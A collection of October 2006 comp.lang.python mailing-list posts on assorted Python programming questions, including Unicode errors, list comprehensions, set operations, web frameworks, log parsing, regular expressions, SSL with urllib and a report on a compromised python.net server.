xiludom.gro'.split('@')])" From bruce.who.hk at gmail.com Mon Oct 9 06:41:00 2006 From: bruce.who.hk at gmail.com (bruce.who.hk) Date: Mon, 9 Oct 2006 18:41:00 +0800 Subject: why this is wrong? Message-ID: <200610091840577967380@gmail.com> Hi, all I just donnot know why this is wrong, you can test it in python shell: class B: def __str__(self): return u'\u5929\u4e0b' b=B() str(b) Traceback (most recent call last): File "", line 1, in ? UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-1: ordinal not in range(128) Could anybody point me out? -------------- bruce.who.hk 2006-10-09 From gherzig at fmed.uba.ar Fri Oct 20 08:27:10 2006 From: gherzig at fmed.uba.ar (Gerardo Herzig) Date: Fri, 20 Oct 2006 09:27:10 -0300 Subject: list comprehension (searching for onliners) Message-ID: <4538C09E.2040408@fmed.uba.ar> Hi all: I have this list thing as a result of a db.query: (short version) result = [{'service_id' : 1, 'value': 10}, {'service_id': 2, 'value': 5}, {'service_id': 1, 'value': 15}, {'service_id': 2, 'value': 15}, ] and so on...what i need to do is some list comprehension that returns me something like result = [ { 'service_id' : 1, 'values': [ {'value': 10}, {'value': 15}] }, { 'service_id' : 2, 'values': [ {'value': 5}, {'value': 15}] } My problem now is i cant avoid have "repeteated" entries, lets say, in this particular case, 2 entries for "service_id = 1", and other 2 for "service_id =2". Ill keeping blew off my hair and drinking more cofee while searching for this damn onliner im looking for. Thanks dudes. Gerardo From orangestripe at gmail.com Tue Oct 17 23:18:40 2006 From: orangestripe at gmail.com (gel) Date: 17 Oct 2006 20:18:40 -0700 Subject: I would like write some data recovery software Message-ID: <1161141519.989567.195330@i42g2000cwa.googlegroups.com> I would like to write some data recovery software as a learning thing. The sort of thing that you would use to recover data from a currupt HDD or floppy etc. I would like to be pointed in the right direction as far as modules to use and suggested approaches. From john106henry at hotmail.com Wed Oct 25 20:18:33 2006 From: john106henry at hotmail.com (John Henry) Date: 25 Oct 2006 17:18:33 -0700 Subject: Dealing with multiple sets In-Reply-To: References: <1161821282.846050.184360@e3g2000cwe.googlegroups.com> Message-ID: <1161821913.252725.324340@i42g2000cwa.googlegroups.com> Aye! I did a: a and b and c Bonk! Thanks, Tim Peters wrote: > [John Henry] > > If I have a bunch of sets: > > > > a = set((1, 2, 3)) > > b = set((2, 3)) > > c = set((1, 3)) > > .... > > > > What's the cleanest way to say: > > > > 1) Give me a list of the items that are in all of the sets? (3 in the > > above example) > > list(a & b & c) > > > 2) Give me a list of the items that are not in all of the sets? (1,2 in > > the above example) > > list((a | b | c) - (a & b & c)) From fredrik at pythonware.com Wed Oct 11 09:21:17 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 11 Oct 2006 15:21:17 +0200 Subject: Python component model References: <1160562945.079609.98640@m7g2000cwm.googlegroups.com> <1160570340.981862.212380@c28g2000cwb.googlegroups.com> Message-ID: Paul Boddie wrote: >> Aw, come on. The Python web programming standardisation wars are over, for now. > > Well, that's just another way of saying that the scene remains > stagnant, because I don't see any winners. one, two, overflow ? or are you saying that the lack of a monopoly means market stagnation, no matter how innovative the three big ones are ? > For a long time people expected to get this coherent message by looking for > solutions provided with the Python distribution itself - after all, the standard > library has provided other useful "batteries" over the years - but all > we had was the cgi module and some barely maintained servers. Indeed, > the standard library looks pretty incoherent itself these days. the standard library has never included non-trivial applications (and the three big ones are configurable applications, not libraries). I'm not sure anyone has ever looked to the standard library for domain-specific applications or toolkits. > The thing is that people want a coherent message about Python and Web > programming. the message is out there, for anyone who wants to listen. and they are listening. > why else do people still ask CGI-related questions on comp.lang.python? because CGI works well for simple applications where you don't want to waste any time whatsoever on hosting and deployment issues ? heck, I spent parts of last weekend hacking on a light-weight CGI-based publishing system for portions of the effbot.org site, using Python 2.2 on Solaris. loads of fun. >> (as for WSGI, it's plumbing. You can of course build fun things from spare parts and >> plumbing, and there are really interesting things going on in certain research labs, as >> usual, but if you want turn-key stuff, pick one of the big three.) > > After seeing WSGI being elevated to non-plumbing (since plumbing is > just stuff that helps other stuff to work, not something you mess with > on a daily basis), I think the current strategy with respect to > "floating more boats" is to pretend that WSGI is all you need. I've never seen anyone besides Ian Bicking make that argument (and he's using WSGI plus a zillion ready-made building blocks when doing that). From gagsl-py at yahoo.com.ar Thu Oct 19 23:16:39 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 20 Oct 2006 00:16:39 -0300 Subject: Restricting import file lookup for pyd, dll, ... In-Reply-To: <61d0e2b40610191919j571fde44nf742057486b30daf@mail.gmail.co m> References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com> <7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar> <61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.com> <7.0.1.0.0.20061019224508.04d95958@yahoo.com.ar> <61d0e2b40610191919j571fde44nf742057486b30daf@mail.gmail.com> Message-ID: <7.0.1.0.0.20061019235232.052fcf98@yahoo.com.ar> At Thursday 19/10/2006 23:19, Bernard Lebel wrote: >I'm affraid this step has already been done. I was not being pedantic >when I said "locations that don't make sense", I *really* meant it. >You would have to see the Filemon log! Python searches modules along the directories in sys.path - if you see it looking at w:\foo\bar\baz I bet that such directory is included there. Well, it might not be a directory but a zip file, or you might have installed some import hooks (have you?) but on the most common cases, a simple scan along sys.path is performed. >Anyway, then is there a way to tell Python not to look for pyd/dll and >others in certain locations? In locations were you expect not to have >such files for example? I'm not really sure, but I don't think it could be done. The OS does a similar scan when looking for needed libraries at program startup. Are you sure that *this* behavior is what causes your slow startup? What OS/filesystem are you using? Are you loading your application across the network, using a file share, samba or something like that? -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From snaury at gmail.com Sat Oct 14 19:05:01 2006 From: snaury at gmail.com (Alexey Borzenkov) Date: 14 Oct 2006 16:05:01 -0700 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python In-Reply-To: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> Message-ID: <1160867101.267052.113280@h48g2000cwc.googlegroups.com> brenocon at gmail.com wrote: > Compared to the Python I know and love, Ruby isn't quite the same. > However, it has at least one terrific feature: "blocks". Well, I particularly like how Boo (http://boo.codehaus.org) has done it: func(a, b, c) def(p1, p2, p3): stmts I was so attached to these "nameless" def-forms that I was even shocked when I found that this doesn't work in python: f = def(a, b): return a*b Another good feature of Boo, btw. From vbgunz at gmail.com Mon Oct 2 14:35:45 2006 From: vbgunz at gmail.com (vbgunz) Date: 2 Oct 2006 11:35:45 -0700 Subject: How to coerce a list of vars into a new type? In-Reply-To: References: Message-ID: <1159814145.906314.244820@k70g2000cwa.googlegroups.com> > I want to verify that three parameters can all be converted into > integers, but I don't want to modify the parameters themselves. You can twist and tweak this version OR completely redo it. In this version a list of the conversions are returned *but* if you want to only check if such a conversion can be made, you can return a bool result instead of the list. Also integers are converted to floats. just wrap the float() in an int() if you only want ints instead and wrap again with round() or mix and do as you please to get the results you want. def convertToInteger(*args): ''' try to convert arguments to integers and return them in a list''' try: return [float(x) for x in (args)] except ValueError: print 'convertToInteger: pass compatible args OR return a default!' return funcResult = convertToInteger('1', '2', '3') if funcResult: # if conversion was perfect, choose to do what you want # ... a, b, c = funcResult # change global variables! x, y, z = funcResult # create three new variables! print a, b, c print x, y, z # ... From richardjones at optushome.com.au Tue Oct 3 23:57:16 2006 From: richardjones at optushome.com.au (Richard Jones) Date: Wed, 04 Oct 2006 13:57:16 +1000 Subject: Roundup Issue Tracker release 1.1.3 References: Message-ID: <4523311c$0$32603$afc38c87@news.optusnet.com.au> Richard Jones wrote: > I'm proud to release version 1.1.3 of Roundup. That's supposed to say 1.2.0. Sigh. From bearophileHUGS at lycos.com Fri Oct 6 12:37:58 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 6 Oct 2006 09:37:58 -0700 Subject: extract certain values from file with re In-Reply-To: References: Message-ID: <1160152678.815604.289070@e3g2000cwe.googlegroups.com> Fabian Braennstroem: > A more difficult log file looks like: > ... > With my sed/awk/grep/gnuplot script I would extract the > values in the 'U-Mom' row using grep and print a certain > column (e.g. 'Max Res') to a file and print it with gnuplot. > Maybe I have to remove those '|' using sed before... This is possible (quite raw) solution for the second log using string methods only: data = """ ====================================================================== OUTER LOOP ITERATION = 1 CPU SECONDS = 2.40E+01 ---------------------------------------------------------------------- | Equation | Rate | RMS Res | Max Res | Linear Solution | +----------------------+------+---------+---------+------------------+ | U-Mom | 0.00 | 1.0E-02 | 5.0E-01 | 4.9E-03 OK| | V-Mom | 0.00 | 2.4E-14 | 5.6E-13 | 3.8E+09 ok| | W-Mom | 0.00 | 2.5E-14 | 8.2E-13 | 8.3E+09 ok| | P-Mass | 0.00 | 1.1E-02 | 3.4E-01 | 8.9 2.7E-02 OK| +----------------------+------+---------+---------+------------------+ | K-TurbKE | 0.00 | 1.8E+00 | 1.8E+00 | 5.8 2.2E-08 OK| | E-Diss.K | 0.00 | 1.9E+00 | 2.0E+00 | 12.4 2.2E-08 OK| +----------------------+------+---------+---------+------------------+ ====================================================================== OUTER LOOP ITERATION = 2 CPU SECONDS = 8.57E+01 ---------------------------------------------------------------------- | Equation | Rate | RMS Res | Max Res | Linear Solution | +----------------------+------+---------+---------+------------------+ | U-Mom | 1.44 | 1.5E-02 | 5.3E-01 | 9.6E-03 OK| | V-Mom |99.99 | 1.1E-03 | 6.2E-02 | 5.7E-02 OK| | W-Mom |99.99 | 1.9E-03 | 6.0E-02 | 5.9E-02 OK| | P-Mass | 0.27 | 3.0E-03 | 2.0E-01 | 8.9 7.9E-02 OK| +----------------------+------+---------+---------+------------------+ | K-TurbKE | 0.03 | 5.4E-02 | 4.4E-01 | 5.8 2.9E-08 OK| | E-Diss.K | 0.05 | 8.9E-02 | 9.3E-01 | 12.4 2.6E-08 OK| +----------------------+------+---------+---------+------------------+ """.splitlines() print [float(l.split("|")[4]) for l in data if 'U-Mom' in l] Output: [0.5, 0.53000000000000003] Bye, bearophile From rurpy at yahoo.com Mon Oct 16 13:39:25 2006 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: 16 Oct 2006 10:39:25 -0700 Subject: OT: What's up with the starship? In-Reply-To: <1160993757.780911.37610@b28g2000cwb.googlegroups.com> References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> <1160983523.518768.16110@e3g2000cwe.googlegroups.com> <1160993757.780911.37610@b28g2000cwb.googlegroups.com> Message-ID: <1161020365.264307.24100@i3g2000cwc.googlegroups.com> micahel at gmail.com wrote: > rurpy at yahoo.com wrote: --snip-- > As far as I can tell, the machine was compromised on 2006-09-02. So it was compromised for over a month. > Irritatingly we didn't find out until just after logrotate had deleted > the logs for around the time of the attack. Murphy strikes again. :-( > It wasn't a very subtle rootkit -- installing a version of netstat with > different command line options, for example... > > > 5. Verifying that such a thing has not happened can be very > > difficult, particularly if the date and other details of the > > compromise cannot be accurately determined. > > I guess you should find out from the author of whatever you downloaded > what the checksums should have been for what you downloaded and check > that against what you downloaded. > > If you don't still have the downloaded files, I can tell you what the > md5's of the files in the back up are. I don't think that would help in the case of Pywin32 since the Sourceforge dates for build 210 are 9/22. I emailed Mark Hammond but have not heard anything back yet. > > 6. Many organisations give image and pr a higher priority > > than the safety of their customers/users and wave off security > > breechs with "don't worry, everything is fine. We're sure > > nothing has been touched" when in fact they have no idea. > > There is no organization behind python.net. > > I am a volunteer. I help run python.net in my spare time. Organizations do not have to be formal or official to exhibit similar behavior. > > 7. I have seen no public statements or information about > > this leading me to wonder about the stuation and how it's > > being handled, hence my seeking of further information. > > I'm sorry, I'm busy trying to get the server going again. I understand, and appreciate your (and the other people involved) efforts. I know it must be a royal pain in the ass. But I am still responsible for the code I (and my clients) run so I had to ask. > > But, I am still completely at a loss why you, he, or anyone, > > based on the information presented so far,.would conclude > > that the python security problem is unrelated. > > Why would it be? For all it's position in the community, there aren't > actually many python web apps running on python.net, certainly not as > root... That's what one would hope but to assume that without better information (such as you just provided) would be foolish. Thanks again for taking the time to answer my questions. From fredrik at pythonware.com Tue Oct 10 10:35:59 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 16:35:59 +0200 Subject: Python component model References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net><1160467516.602655.169920@c28g2000cwb.googlegroups.com> Message-ID: "Edward Diener No Spam" wrote: >> if you want better support for more precise hooking, post some examples. > > I want a design-time environment to hook up my objects in a visual way. > I think it is easier than doing it manually, even in Python. what objects? what hooks? visually, in what way? >>> All you are saying is that you don't have a need for this, but perhaps others do. >> >> handwavy references to what "other may need" is another thing you should >> avoid if you want your Python change proposal to be successful. > > I did not say what "others may need". I'm not sure I see the big difference between "perhaps others do [have a need]" and "others may need", but that's me. From fredrik at pythonware.com Mon Oct 9 06:54:47 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 9 Oct 2006 12:54:47 +0200 Subject: why this is wrong? References: <200610091840577967380@gmail.com> Message-ID: bruce.who.hk wrote: > I just donnot know why this is wrong btw, you really should try to use more descriptive subject lines. for some tips, see: http://catb.org/~esr/faqs/smart-questions.html#bespecific most notably: "... imagine looking at the index of an archive of questions, with just the subject lines showing. Make your subject line reflect your question well enough that the next guy searching the archive with a question similar to yours will be able to follow the thread to an answer rather than posting the question again." From smcg4191zz at friizz.RimoovAllZZs.com Tue Oct 10 19:02:45 2006 From: smcg4191zz at friizz.RimoovAllZZs.com (Stuart McGraw) Date: Tue, 10 Oct 2006 17:02:45 -0600 Subject: does raw_input() return unicode? References: <12iln7en9ipit77@corp.supernews.com> <452b5190$0$29833$9b622d9e@news.freenet.de> Message-ID: <12io9l2ia3h98e8@corp.supernews.com> "Martin v. L?wis" wrote in message news:452b5190$0$29833$9b622d9e at news.freenet.de... > Stuart McGraw schrieb: > > So, does raw_input() ever return unicode objects and if > > so, under what conditions? > > At the moment, it only returns unicode objects when invoked > in the IDLE shell, and only if the character entered cannot > be represented in the locale's charset. Thanks for the answer. Also, if anyone has a solution for Duncan Booth's attempt to wrap stdin, I would find it very useful too! "Duncan Booth" wrote: > "Stuart McGraw" wrote: > > > So, does raw_input() ever return unicode objects and if > > so, under what conditions? > > > It returns unicode if reading from sys.stdin returns unicode. > > Unfortunately, I can't tell you how to make sys.stdin return unicode for > use with raw_input. I tried what I thought should work and as you can see > it messed up the buffering on stdin. Does anyone else know how to wrap > sys.stdin so it returns unicode but is still unbuffered? > > Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] > on win32 > Type "help", "copyright", "credits" or "license" for more information. > >>> import sys, codecs > >>> sys.stdin.encoding > 'cp437' > >>> sys.stdin = codecs.getreader(sys.stdin.encoding)(sys.stdin) > >>> raw_input() > hello world > still going? > ^Z > ^Z > u'hello world' > >>> From chtaylo3 at gmail.com Wed Oct 18 10:42:44 2006 From: chtaylo3 at gmail.com (Christopher Taylor) Date: Wed, 18 Oct 2006 10:42:44 -0400 Subject: Python RPM package arch compatability In-Reply-To: References: <2590773a0610180721l7fdd7688i5d67b3c16201f44a@mail.gmail.com> Message-ID: <2590773a0610180742k262f8b5cqd21cd9124a14624c@mail.gmail.com> So just build it from source and use make altinstall instead? That simple huh? Will I need to do anything else to make sure things are put in their correct place? Respectfully, Christopher Taylor On 10/18/06, Fredrik Lundh wrote: > Christopher Taylor wrote: > > > A quick question if I may. I'm running RHEL 4 on a x86_64 and I'm > > curious if any of the packages at > > http://www.python.org/download/releases/2.4/rpms/ would suite my > > setup. > > > > If they don't can I simply build from source and not overwrite > > /usr/bin/Python (for the same reasons as listed at the above mentioned > > webpage)? > > if you use "make altinstall" instead of "make install", the installation process will > only install a pythonX.Y binary (e.g. python2.5). > > > > > > -- > http://mail.python.org/mailman/listinfo/python-list > From Roberto.Bonvallet at cern.ch Wed Oct 18 08:59:47 2006 From: Roberto.Bonvallet at cern.ch (Roberto Bonvallet) Date: Wed, 18 Oct 2006 12:59:47 +0000 (UTC) Subject: matrix Multiplication References: <1161170249.549988.260870@m73g2000cwd.googlegroups.com> Message-ID: Sssasss wrote: > hi evrybody! > > I wan't to multiply two square matrixes, and i don't understand why it > doesn't work. > Could you explain me? > > def multmat(A,B): > "A*B" > if len(A)!=len(B): return "error" Wrong validation here: you _can_ multiply two matrices with a different number of rows! And instead of returning "error" you should raise an exception. [...] I suggest using a linear algebra package, but if you insist in using lists of lists: >>> b = [[1, 2, 3, 4], ... [4, 5, 6, 7], ... [7, 8, 9, 10]] >>> >>> a = [[1, 2, 3], ... [4, 5, 6]] >>> >>> ab = [[sum(i*j for i, j in zip(row, col)) for col in zip(*b)] for row in a] >>> ab [[30, 36, 42, 48], [66, 81, 96, 111]] Straightforward from the definition of matrix multiplication. -- Roberto Bonvallet From johnjsal at NOSPAMgmail.com Wed Oct 4 22:36:10 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 04 Oct 2006 22:36:10 -0400 Subject: can't open chm files all of a sudden In-Reply-To: <1159951350.208619.222470@m73g2000cwd.googlegroups.com> References: <45233927$0$1761$c3e8da3@news.astraweb.com> <45233a81$0$30748$c3e8da3@news.astraweb.com> <1159951350.208619.222470@m73g2000cwd.googlegroups.com> Message-ID: <45247002$0$14726$c3e8da3@news.astraweb.com> John Machin wrote: > 4. Have you done a full virus and spy-ware scan? Do you regularly > install Windows updates from Microsoft? Well, this is certainly the last thing I expected to work, but it did! There was something called an IECache cookie (which I've actually had before) and after removing it my chm files open now! Thanks for suggesting this! I was desperate! :) From nogradi at gmail.com Mon Oct 9 17:14:47 2006 From: nogradi at gmail.com (Daniel Nogradi) Date: Mon, 9 Oct 2006 23:14:47 +0200 Subject: Python component model In-Reply-To: <1FyWg.7185$Y24.219@newsread4.news.pas.earthlink.net> References: <452AA71E.1010000@hotmail.com> <1FyWg.7185$Y24.219@newsread4.news.pas.earthlink.net> Message-ID: <5f56302b0610091414l31a125e3u58a63f1ff8c1778f@mail.gmail.com> > > Why not propose something. That is the easiest way to get things moving. > > How does one do that ? Propose something here on this NG or is there > some other official way ? I'm by no means an expert here but the usual procedure as far as I can see is this: 1. propose something here and get people excited so that they discuss it inside out 2. taking into account the discussion formulate a new/modified proposal 3. more discussion follows most probably 4. a more formal proposal can be sent to python-dev 5. more discusssion there 6. the result of all these discussions can be that people encourage you to write a PEP, this is probably the most important stage, please see http://www.python.org/dev/peps/ and http://www.python.org/dev/peps/pep-0001/ 7. once you are successful in writing a PEP just submit it and wait for acceptance/rejection HTH, Daniel From bj_666 at gmx.net Wed Oct 18 18:47:10 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Thu, 19 Oct 2006 00:47:10 +0200 Subject: Getting method name from within the class method References: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> Message-ID: In , Mitko Haralanov wrote: > On 18 Oct 2006 14:38:12 -0700 > yellowalienbaby at gmail.com wrote: > >> >>> class test(object): >> ... def a_method(self,this,that): >> ... print self.a_method.__name__ > > Doing the above will obviously work! > > However, I don't want to have to use the name of the function in the > print statement (the ".a_method." part). Imagine having about 100 of > the above print statements in the function and then you change the name > of the function. I want all 100 of the print statements to work without > having to change every one of them to reflect the new function name. class test(object): def a_method(self, this, that): NAME = 'a_method' print NAME # ... print NAME # ... And please don't come back and complain that you have to type and probably change 'a_method' twice instead of once. ;-) Ciao, Marc 'BlackJack' Rintsch From bertle at smoerz.org Fri Oct 6 05:13:36 2006 From: bertle at smoerz.org (Roman Bertle) Date: 06 Oct 2006 09:13:36 GMT Subject: groupby and itemgetter Message-ID: Hello, there is an example how to use groupby in the itertools documentation (http://docs.python.org/lib/itertools-example.html): # Show a dictionary sorted and grouped by value >>> from operator import itemgetter >>> d = dict(a=1, b=2, c=1, d=2, e=1, f=2, g=3) >>> di = sorted(d.iteritems(), key=itemgetter(1)) >>> for k, g in groupby(di, key=itemgetter(1)): ... print k, map(itemgetter(0), g) ... 1 ['a', 'c', 'e'] 2 ['b', 'd', 'f'] 3 ['g'] Now i wonder why itemgetter is used in this example. More straightforward is: >>> d = dict(a=1, b=2, c=1, d=2, e=1, f=2, g=3) >>> di = sorted(d.iterkeys(), key=d.get) >>> for k, g in groupby(di, key=d.get): ... print k, list(g) ... 1 ['a', 'c', 'e'] 2 ['b', 'd', 'f'] 3 ['g'] This code does not need the operator module, and its also faster (tested using timeit). Why was the, imho, more complicated version used as example in the documentation? Regards, Roman From srikrishnamohan at gmail.com Sun Oct 8 14:40:40 2006 From: srikrishnamohan at gmail.com (km) Date: Mon, 9 Oct 2006 00:10:40 +0530 Subject: references and buffer() Message-ID: Hi all, was looking at references in python... >>> a = 10 >>> b = a >>> id(a) 153918788 >>>id(b) 153918788 where a and b point to the same id. now is this id an address ? can one dereference a value based on address alone in python? is id similar to the address of a variable or a class ? read abt buffers as a refernce to a buffer object. actually i tried passing list and dict types to buffer function, but only with string type i could createa buffer reference, >>>y = 'GATCGTACC' >>>x = buffer(y, 0,8) >>> x >>>print x TCGTACC >>> id(y) -1085484104 >>> id(x) -1085476384 now the ids of y and x are not the same - why ? In which situatons are buffers used against the strings ? can i create a write buffer instead of readonly buffer ? what exactly are buffer object types ? and how can i instantiate them ? regards, KM -------------- next part -------------- An HTML attachment was scrubbed... URL: From lycka at carmen.se Mon Oct 9 07:45:28 2006 From: lycka at carmen.se (Magnus Lycka) Date: Mon, 09 Oct 2006 13:45:28 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: Fredrik Lundh wrote: > you're not on the infrastructure list, I hear. I tried to figure out where that list is, so I could have a look at the archives, but I didn't find it in the (for me) obvious places. Could someone please provide a link to the archives for this mailing list, or aren't there any public archives of them? Only for PSF members? > python.org could still need a few more roundup volunteers, > but it's not like nobody's prepared to contribute manhours. > don't underestimate the community. So, how many have offered to help? Is this information available in some public repository? I don't know how much work it actually takes to maintain a roundup installation for the Python project, but I know that in general, not all people manage to follow through on everything they commit to do, even if they have good intentions, so I'd be a bit worried to move to roundup if only two or three people had offered to run it, even if that might nominally be enough. Of course, this depends on who those people would be... Ten seems like a bit too many though. I somehow suspect that less work would get done in a group of ten than in a group of six people... It seems to me that an obvious advantage with either Roundup or Trac, is that if the Python project used it, the Python project would have a significant impact on how this product developed. Even if the Jira people seem eager to please us, I'm pretty convinced that it will be easier to get Roundup or Trac improved to fit our particular needs. That's valuable in two ways: 1) The Python project would get a bug tracker which is developed with the needs of the Python project as a prime concern. (Being the major "customer" of a product has benefits. Jira on the other hand, might get more and more integrated with other Java stuff that we don't really care about. 2) We'd help making a good Python product even better, and probably more widely used, thus spreading the use of Python even further. From wuwei23 at gmail.com Sun Oct 22 20:26:55 2006 From: wuwei23 at gmail.com (alex23) Date: 22 Oct 2006 17:26:55 -0700 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> <1161444416.749636.172530@i42g2000cwa.googlegroups.com> <1161510017.622766.187460@k70g2000cwa.googlegroups.com> Message-ID: <1161563215.573049.104490@f16g2000cwb.googlegroups.com> Peter Decker wrote: > When you've worked with lots of open > source projects, you can tell which are actively being developed and > which are dead or comatose; you can tell which have a growing > community and which are stagnant; you can tell which are worth > investing your time into learning and/or contributing to, and which > are dead-ends. Wax feels like a real dead-end to me. Can you also tell when you're wrong? I checked out Wax last week for the first time; I hit a snag and got an answer from the lead developer within a day, along with a pointer to the latest dev version. But don't let communication get in the way of that six sense you've got going there :) - alex23 From Hakusa at gmail.com Wed Oct 25 19:14:52 2006 From: Hakusa at gmail.com (Hakusa at gmail.com) Date: 25 Oct 2006 16:14:52 -0700 Subject: What's the best IDE? Message-ID: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> Recently I've had some problems with PythonWin when I switched to Py2.5, tooka long hiatus, and came back. So now I'm without my god sent helper, and I'm looking for a cool replacement, or some advocation to reinstall/setup PyWin. But the Python website's list is irrefutably long. It would take a month or two to test all of those products. So I'm looking for experienced advocates. What's your favorite IDE? What do you like about it? It would be fine for a begginer, right? From python.list at tim.thechases.com Thu Oct 12 22:16:11 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Thu, 12 Oct 2006 21:16:11 -0500 Subject: Starting out. In-Reply-To: <1160696990.5969.4.camel@dsktp> References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> <1160696990.5969.4.camel@dsktp> Message-ID: <452EF6EB.6020200@tim.thechases.com> > (OT: Try to type 'proficient' with one hand on a US keyboard. :-)) A number of nice words like that: authenticity proficiency entitlement enchantment protozoans proficient antisocial tutorials tormentor shanghais shamrocks rhapsodic protozoan pantheism handiwork flamencos fishbowls firmament endowment dyspeptic dyspepsia downturns downright divisible disorient dismantle dirigible cockfight authentic Try it yourself: >>> import re >>> r = re.compile('^[yuiophjklnm]?([asdfgqwertzxcvb][yuiophjklnm])*[asdfgqwertzxcvb]?$') >>> for line in file('/usr/share/dict/words'): ... line = line.strip() ... if r.match(line): print line ... which finds words that (on a QWERTY keyboard) are touch-typed with alternating left/right hands. In a fit of late-night boredom, I played with regexps that will find words of the following classes of words (on a QWERTY keyboard): typed with just the left-hand '^[qwertasdfgzxcvb]*$' typed with just the right-hand '^[yuiophjklnm]*$' typed with just the top-row of keys '^[qwertyuiop]*$' typed with just the home-row of keys '^[asdfghjkl]*$' typed with just the home-row keys '^[asdfjkl]*$' Beware...they're fun :) -tkc From tdelaney at avaya.com Wed Oct 25 20:40:46 2006 From: tdelaney at avaya.com (Delaney, Timothy (Tim)) Date: Thu, 26 Oct 2006 10:40:46 +1000 Subject: Fatal Python error: deallocating None Message-ID: <2773CAC687FD5F4689F526998C7E4E5FF1EB02@au3010avexu1.global.avaya.com> George Sakkis wrote: > What makes the problem worse is that it's not deterministic; I can > restart it from (a little before) the point of crash and it doesn't > happen again at the same point, but it might happen further down. Now, > I wouldn't mind restarting it manually every time since the crashes > are not all that frequent; problem is, it's supposed to be a > long-running process that will probably take days to finish normally, > so I want it to run overnight too. Any hints ? None should *never* be deallocated, so it sounds like it's not being INCREFed correctly somewhere. Extension module, etc ... Tim Delaney From monica.medina at ngc.com Tue Oct 24 13:38:13 2006 From: monica.medina at ngc.com (matey) Date: 24 Oct 2006 10:38:13 -0700 Subject: Python and SSL enabled Message-ID: <1161711493.617569.178870@h48g2000cwc.googlegroups.com> I am have version 2.3.4. I want to write a python script to access a secure HTTPS. I tried the following: import urllib urllib.urlopen("https://somesecuresite.com") s = f.read() f.close() I get the following: IOError [Errno url error] unknown url type: 'https' 1. How do I know if SSL is enabled? 2. What can I do to get this to work? Thanks, Matey From dingbat at codesmiths.com Mon Oct 16 13:04:14 2006 From: dingbat at codesmiths.com (Andy Dingley) Date: 16 Oct 2006 10:04:14 -0700 Subject: Book about database application development? In-Reply-To: <7xlknhg2rz.fsf@ruckus.brouhaha.com> References: <0001HW.C157FA8900644D9AF0407530@news.individual.de> <7xlknhg2rz.fsf@ruckus.brouhaha.com> Message-ID: <1161018253.940762.224990@e3g2000cwe.googlegroups.com> Paul Rubin wrote: > http://philip.greenspun.com/sql/ There was a time (some time in the mid 90s) when I thought that Philip Greenspun had a Clue. Then I realised just how wrong he was (he started off reasonably right, he just didn't keep up when the world moved on). The highlight of this process was seeing him booed during a conference keynote speech -- by angry librarians and museum curators (he deserved it too). I can't imagine any topic, except possibly dog grooming, where I'd listen to his advice. From deets at web.de Sun Oct 8 04:49:50 2006 From: deets at web.de (Diez B. Roggisch) Date: 8 Oct 2006 01:49:50 -0700 Subject: need some regular expression help In-Reply-To: References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> <1160258429.883224.285830@i3g2000cwc.googlegroups.com> Message-ID: <1160297390.242124.260770@i3g2000cwc.googlegroups.com> hanumizzle wrote: > On 7 Oct 2006 15:00:29 -0700, Diez B. Roggisch wrote: > > > > Chris wrote: > > > I need a pattern that matches a string that has the same number of '(' > > > as ')': > > > findall( compile('...'), '42^((2x+2)sin(x)) + (log(2)/log(5))' ) = [ > > > '((2x+2)sin(x))', '(log(2)/log(5))' ] > > > Can anybody help me out? > > > > This is not possible with regular expressions - they can't "remember" > > how many parens they already encountered. > > Remember that regular expressions are used to represent regular > grammars. Most regex engines actually aren't regular in that they > support fancy things like look-behind/ahead and capture groups...IIRC, > these cannot be part of a true regular expression library. Certainly true, and it always gives me a hard time because I don't know to which extend a regular expression nowadays might do the job because of these extensions. It was so much easier back in the old times.... > With that said, the quote-unquote regexes in Lua have a special > feature that supports balanced expressions. I believe Python has a > PCRE lib somewhere; you may be able to use the experimental ??{ } > construct in that case. Even if it has - I'm not sure if it really does you good, for several reasons: - regexes - even enhanced ones - don't build trees. But that is what you ultimately want from an expression like sin(log(x)) - even if they are more powerful these days, the theory of context free grammars still applies. so if what you need isn't LL(k) but LR(k), how do you specify that to the regex engine? - the regexes are useful because of their compact notations, parsers allow for better structured outcome Diez From steven.bethard at gmail.com Sun Oct 15 17:52:26 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Sun, 15 Oct 2006 15:52:26 -0600 Subject: classroom constraint satisfaction problem Message-ID: 